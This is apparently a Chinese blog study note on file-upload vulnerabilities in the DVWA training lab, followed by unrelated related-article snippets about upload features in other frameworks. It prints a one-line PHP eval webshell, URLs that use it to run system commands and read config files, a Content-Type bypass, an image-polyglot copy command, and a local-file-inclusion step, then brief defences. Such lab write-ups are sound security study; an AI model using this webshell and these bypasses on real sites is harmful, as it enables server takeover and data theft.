文件上传-笔记

网站常见功能,例如:上传头像

LOW

上传成功phpinfo.php可访问执行 http://192.168.3.88/dvwa/hackable/uploads/phpinfo.php

漏洞利用:以PHP为例,可上传一句话webshell

cmd.php

<?php

@eval($_GET[‘cmd‘]);

?>

可用来执行各种php函数、命令。例如:

http://192.168.3.88/dvwa/hackable/uploads/cmd.php?cmd=phpinfo();

http://192.168.3.88/dvwa/hackable/uploads/cmd.php?cmd=system(dir);

http://192.168.3.88/dvwa/hackable/uploads/cmd.php?cmd=system(‘type c:\\phpstudy\\www\\dvwa\\php.ini‘);

medium.

上传非图片文件时通过改包修改发送的post请求包中的 Content-Type:  image/jpeg 即可

high

我们尝试后发现服务器会对我们上传的文件的文件后缀、文件类型、文件内容进行验证。

使用dos命令制作内含图,把我们想要执行的文件与正常的图片合并。

copy test.jpg/b+ phpinfo.txt/a phpinfo.jpg

利用本地文件包含漏洞进行调用执行

http://192.168.3.88/dvwa/vulnerabilities/fi/?page=file:///C:\phpStudy\WWW\DVWA\hackable\uploads\cmd.jpg

利用 Nginx解析漏洞 使用phpstudy模拟测试环境 查看php-ini配置文件中 cgi.fix_pathinfo=1 是否为1 如是则存在畸形解析

xxx.xxx/xxx.php  前一个文件存在的话会当成是php文件进行解析

防护:

对用户上传的图片压缩重新生成、文件重命名、存储目录权限设置、存储目录与网站分离

时间: 2024-11-07 15:14:56

文件上传-笔记的相关文章

Windows环境下用C#编程将文件上传至阿里云OSS笔记

本系列文章由ex_net(张建波)编写,转载请注明出处. http://blog.csdn.net/ex_net/article/details/24962567 作者:张建波 邮箱: [email protected]  欢迎来信交流! 第1步: 下载阿里云OSS的SDK包,由于笔者的环境是PHP服务,所以下载的是PHP的SDK包 http://help.aliyun.com/view/13438816.html 第2步:将代码整合进你的网站或服务中. 第3步:配置OSS访问接口 (1)找到c

学习笔记_springmvc文件上传和拦截器

文件上传 用到这两个包 配置视图解析器:springmvc配置文件配置 <!-- id必须要是"multipartResolver" --> <bean id="multipartResolver" class="org.springframework.web.multipart.commons.CommonsMultipartResolver"> <!-- maxUploadSize文件上传的最大值,单位是byte

Codeigniter入门学习笔记11—文件上传

很久很久以前学习Codeigniter的笔记记录,很随意,但都是自己记录的,希望对需要的人有所帮助. 本文使用word2013编辑并发布 Postbird | There I am , in the world more exciting! Postbird personal website : http://www.ptbird.cn 文件上传 1.手动创建好上传目录 2.controllers/user ? 3.views/user/fileAction.php ????//表单需要强调是文

【Spring学习笔记-MVC-13】Spring MVC之文件上传

作者:ssslinppp       1. 摘要 Spring MVC为文件上传提供了最直接的支持,这种支持是通过即插即用的MultipartResolve实现的.Spring使用Jakarta Commons FileUpload技术实现了一个MultipartResolver实现类:CommonsMultipartResolver. 下面将具体讲解Spring MVC实现文件上传的具体步骤. 2. 添加Jar包 Spring MVC文件上传,需要添加如下两个jar包: commons-fil

Grails笔记三:完整的文件上传实例

文件上传在web应用中是比较普遍的,相对于使用jsp等技术实现文件上传,Grails的文件上传着实让人喜爱,因为极其简单,让人看一遍就容易轻松记住!不多说,实例如下: 1.在gsp页面中使用Grails标签uploadForm <g:uploadForm name="myUpload" action="saveFile"> <input type="file" name="myFile" /> <

【Spring学习笔记-MVC-13.2】Spring MVC之多文件上传

作者:ssslinppp       1. 摘要 前篇文章讲解了单文件上传<[Spring学习笔记-MVC-13]Spring MVC之文件上传>http://www.cnblogs.com/ssslinppp/p/4607043.html (请参考).本文主要讲多文件上传的过程. 主要区别在于控制层代码不同,同时,jsp代码也有相应修改. 2. 添加jar包 commons-fileupload-1.2.2.jar: commons-io-2.0.1.jar: 3. 配置CommonsMul

笔记:Struts2 文件上传和下载

为了上传文件必须将表单的method设置为POST,将 enctype 设置为 muiltipart/form-data,只有设置为这种情况下,浏览器才会把用户选择文件的二进制数据发送给服务器. 上传解析器配置 Struts2 没有提供自己的请求解析器,struts2 需要调用其他上传框架来解析二进制数据,struts2 默认使用 jakarta 的 Common-FileUpload 的文件上传框架,需要在 Web 应用的 lib 中增加 commons-io-2.2.jar 和 common

笔记02 文件上传、文件下载、类型转换器、国际化的支持

Struts2的上传 1. Struts2默认采用了apache commons-fileupload  2. Struts2支持三种类型的上传组件 3. 需要引入commons-fileupload相关依赖包 * commons-io-1.3.2.jar * commons-fileupload-1.2.1.jar 4. 表单中需要采用POST提交方式,编码类型需要使用:multipart/form-data 5. Struts2的Action     取得文件名称->>规则:输入域的名称+

Javaweb学习笔记10—文件上传与下载

 今天来讲javaweb的第10阶段学习.文件的上传与下载,今天主要说的是这个功能的实现,不用说了,听名字就是外行人也知道肯定很重要啦. 老规矩,首先先用一张思维导图来展现今天的博客内容. ps:我的思维是用的xMind画的,如果你对我的思维导图感兴趣并且想看到你们跟详细的备注信息,请点击下载 另外:如果图看不清的话请右击---在新窗口中打开会清楚很多 一*, 文件的上传:      1 *分析实现步骤: 1.1* 客户端浏览器通过文件域选择本地要上传的文件. * 点击"上传"按钮